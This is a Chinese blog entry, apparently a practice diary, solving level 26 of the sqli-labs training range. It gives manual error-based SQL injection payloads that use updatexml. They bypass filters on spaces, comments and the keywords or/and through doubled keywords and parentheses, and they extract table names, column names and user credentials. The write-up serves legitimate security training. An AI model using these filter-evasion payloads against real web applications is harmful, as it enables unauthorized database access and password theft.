当前位置: 首页 > java >正文

在职老D渗透日记day18:sqli-labs靶场通关(第26关)get报错注入 过滤or和and基础上又过滤了空格和注释符 ‘闭合 手动注入

5.26.第26关 get报错注入 过滤or和and基础上又过滤了空格和注释符 '闭合 手动注入

5.26.1.手动注入
(1)判断注入类型、注入点
?id=1'               报错
?id=1'--+            报错,注释符被过滤
?id=1' and '1'='1    返回数据,and和空格被过滤
?id=1'||'1'='1

(2)查询数据库名
?id=1'||updatexml(1,concat(0x7e,database()),1)||'1'='1

(3)查询表名

为绕过服务器,将or变为||,information_schema变为infoorrmation_schema,函数调用用括号包裹

?id=-1'||updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema='security'))),1)||'1'='1

(4)查询字段名
?id=-1'||updatexml(1,concat(0x7e,(select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_schema='security') aandnd (table_name='users'))),1)||'1'='1

(5)查询账号密码
?id=-1'||updatexml(1,concat(0x7e,(select (substring(group_concat(id,0x3a,username,0x7e,passwoorrd),1,32)) from (users))),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(select (substring(group_concat(id,0x3a,username,0x7e,passwoorrd),32,32)) from (users))),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(select (substring(group_concat(id,0x3a,username,0x7e,passwoorrd),63,32)) from (users))),1)||'1'='1
?id=-1'||updatexml(1,concat(0x7e,(select (substring(group_concat(id,0x3a,username,0x7e,passwoorrd),94,32)) from (users))),1)||'1'='1

http://www.xdnf.cn/news/18037.html

相关文章:

  • qt vs2019编译QXlsx
  • Linux软件编程(六)(exec 函数族、system 实现、进程回收与线程通信)
  • C++ 内存管理(内存分布 , 管理方式 , new和delete实现原理)
  • pidgen!DecodeProdKey函数分析之iDecodedBytesMax
  • 服务器硬件电路设计之I2C问答(七):解析 I2C 通信 “卡壳” 难题:从设备无响应与跨电压兼容之道
  • Spring AI Starter和文档解读
  • InfluxDB 数据迁移工具:跨数据库同步方案(一)
  • 超酷炫的Three.js示例
  • Java:File类、递归、字符集、IO流体系及Commons-io框架
  • 【大模型核心技术】Dify 入门教程
  • Flow-GRPO:通过在线 RL 训练 Flow matching 模型
  • PS插件整合包!内置数百款PS插件,支持PS2017-PS2025所有版本!
  • 【学习嵌入式day-26-线程间通信】
  • TypeScript快速入门
  • CPP多线程3:async和future、promise
  • ArrayList的contains问题
  • 机器学习 [白板推导](十二)[卡曼滤波、粒子滤波]
  • 第G7周:Semi-Supervised GAN 理论与实战
  • 【科研绘图系列】R语言绘制雷达图
  • 洛谷B3865 [GESP202309 二级] 小杨的 X 字矩阵(举一反三)
  • 从 MySQL 5.7 迁移到 8.0:别让 SQL 文件 “坑” 了你
  • 《从入门到高可用:2025最新MySQL 8.0全栈速通指南》
  • Linux配置Dante使用的pam验证
  • 【攻防实战】红队攻防之Goby反杀
  • 力扣(LeetCode) ——622. 设计循环队列(C语言)
  • Android Jetpack | Lifecycle
  • 6JSON格式转python并实现数据可视化
  • 储能领域大数据平台的设计中如何使用 Hadoop、Spark、Flink 等组件实现数据采集、清洗、存储及实时 / 离线计算,支持储能系统分析与预测
  • 人工智能中的(特征选择)数据过滤方法和包裹方法
  • 2-3〔O҉S҉C҉P҉ ◈ 研记〕❘ 漏洞扫描▸AppScan(WEB扫描)